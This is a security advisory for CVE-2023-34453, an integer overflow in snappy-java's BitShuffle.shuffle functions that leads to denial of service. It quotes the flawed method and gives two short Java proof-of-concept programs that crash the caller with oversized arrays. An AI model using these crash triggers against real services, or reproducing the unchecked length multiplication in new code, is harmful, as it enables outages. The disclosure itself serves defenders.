snappy-java's Integer Overflow vulnerability in shuffle leads to DoS
## Summary Due to unchecked multiplications, an integer overflow may occur, causing a fatal error. ## Impact Denial of Service ## Description The function [shuffle(int[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107) in the file [BitShuffle.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.java) receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function. ```java public static byte[] shuffle(int[] input) throws IOException { byte[] output = new byte[input.length * 4]; int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0); assert(numProcessed == input.length * 4); return output; } ``` Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”. The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue. ## Steps To Reproduce Compile and run the following code: ```java package org.example; import org.xerial.snappy.BitShuffle; import java.io.*; public class Main { public static void main(String[] args) throws IOException { int[] original = new int[0x40000000]; byte[] shuffled = BitShuffle.shuffle(original); System.out.println(shuffled[0]); } } ``` The program will crash, showing the following error (or similar): ``` Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0 at org.example.Main.main(Main.java:12) Process finished with exit code 1 ``` Alternatively - compile and run the following code: ```java package org.example; import org.xerial.snappy.BitShuffle; import java.io.*; public class Main { public static void main(String[] args) throws IOException { int[] original = new int[0x20000000]; byte[] shuffled = BitShuffle.shuffle(original); } } ``` The program will crash with the following error (or similar): ``` Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648 at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108) at org.example.Main.main(Main.java:11) ```
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Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2023-34453US | high7.5 | — | ||
snappy-java is a fast compressor/decompressor for Java. Due to unchecked multiplications, an integer overflow may occur in versions prior to 1.1.10.1, causing a fatal error.
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references
External citations — patches, advisories, analysis.
- https://github.com/xerial/snappy-javaPACKAGE
- https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107WEB
- https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.javaWEB
- https://github.com/xerial/snappy-java/commit/820e2e074c58748b41dbd547f4edba9e108ad905WEB
- https://github.com/xerial/snappy-java/security/advisories/GHSA-pqr6-cmr2-h8hfWEB
- https://nvd.nist.gov/vuln/detail/CVE-2023-34453ADVISORY
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